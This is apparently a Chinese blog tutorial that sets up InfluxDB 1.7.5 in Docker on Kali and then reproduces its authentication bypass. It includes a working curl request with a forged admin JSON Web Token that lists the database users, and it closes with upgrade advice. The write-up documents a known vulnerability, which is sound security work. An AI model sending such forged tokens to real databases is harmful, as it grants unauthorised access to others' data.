influxdb1.7.5认证绕过漏洞复现
kali docker 环境搭建
你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。
1、kali中安装docker环境
可能会失败,更新一下kali源就可
apt install docker
安装完成之后执行一下 命令测试一下:
安装好后,我们在terminal中就有了docker的命令了
2、安装docker-compose
apt install docker-compose –y
3、启动docker,准备拉取系统镜像
可能会用到的命令 | 命令含义 |
---|---|
docker ps -a | 列出docker启动了哪些镜像和当前状态 |
service docker start | 启动docker |
root@kali:~# service docker status | 查看docker运行状态 |
root@kali:~# docker images | 查看docker中有哪些镜像 |
docker run REPOSITORY (名称) | 运行对应image |
docker rmi REPOSITORY (名称) | 删除对应repository 名称的image镜像 |
docker run REPOSITORY (名称) | 启动对应repository 名称的image镜 |
docker rm CONTAINER ID | 删除对应container 名称的ps(容器) |
docker stop CONTAINER ID | 终止一个运行中的ps(容器) |
docker start CONTAINER ID | 启动一个容器 |
docker search inflxudb | 搜索相关镜像资源 |
exit | 退出容器环境 |
4、拉取对应镜像,这里可指定版本
docker search inflxudb 搜索influxdb相关镜像资源
docker pull influxdb:1.7.5 这里拉取指定版本的influxdb镜像
5、启动镜像
docker run -it -d --name influxdb -p 8086:8086 influxdb:1.7.5 启动指定镜像(这里一定注意加上版本号,否则会重新拉取最新版本的influxdb)
docker exec -it influxdb /bin/bash 进入启动的镜像中
6、命令行连接进入influx数据库,创建用户
influx 连接数据库
use _internal 创建用户
Using database _internal
create user “tutu” with password ‘654321’ with all privileges
show users 查看已有用户
user admin
tutu true
运行结果如下:
exit 编辑完成后退出数据库连接
7、创建配置文件
参考:https://www.cnblogs.com/woshimrf/p/docker-influxdb.html
docker run --rm influxdb influxd config > influxdb.conf
这里有坑点!!!
命令解释:另开终端,在kali本机命令行中下载influx配置文件,并重定向到influxdb.conf
8、修改配置文件后,设置认证开启
这里可能提示没有vim命令,参考docker中安装vim https://www.cnblogs.com/river2005/p/8503238.html
这里有坑点!!!
需要先敲:apt-get update,这个命令的作用是:同步 /etc/apt/sources.list 和 /etc/apt/sources.list.d 中列出的源的索引,这样才能获取到最新的软件包,不然下一个命令要报错。
等更新完毕以后再敲命令:apt-get install vim命令安装即可
安装好后使用vim修改influxdb配置文件
[http]
enabled = true
bind-address = “:8086”
auth-enabled = true
9、重启docker中的容器(不是docker),让配置生效
docker restart containerid
10、浏览器访问数据库
重启后就可通过浏览器
http://localhost:8086 访问此数据库,默认情况下需要认证,如图:
认证绕过-漏洞复现
1、绕过方法
InfluxDB具有Web管理界面,其存在一个默认的admin用户名,利用该用户名生成JSON Web Token后即可绕过认证,获得完整的用户权限,可以任意执行增删改等数据库操作。
2、利用admin用户名,在线生成JSON Web Token
地址:https://jwt.io/
示例:
3、发送payload
通过curl命令加上JSON Web Token向数据库发起请求,成功返回数据,则表示该漏洞存在。
直接访问该url情况为:
加上JSON Web Token后:
curl -G 'http://172.16.12.132:8086/query' --data-urlencode 'q=show users' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTg4NjI2MzA1fQ.Yq-7RTIJY2IqjT6cqTTi3wbu3g5qR2_surlDkspIMys
返回数据为:{“results”:[{“statement_id”:0,“series”:[{“columns”:[“user”,“admin”],“values”:[[“admin”,true],[“read”,false],[“write”,false],[“telegraf”,true]]}]}]}
说明成功了
4、漏洞影响及修复建议
本漏洞影响InfluxDB 1.7.5 及以下全版本
InfluxDB官方已发布新版本修复该漏洞,请尽快升级。最新版本为v1.7.10,官方下载链接:https://portal.influxdata.com/downloads/
参考链接
https://www.heibai.org/post/1348.html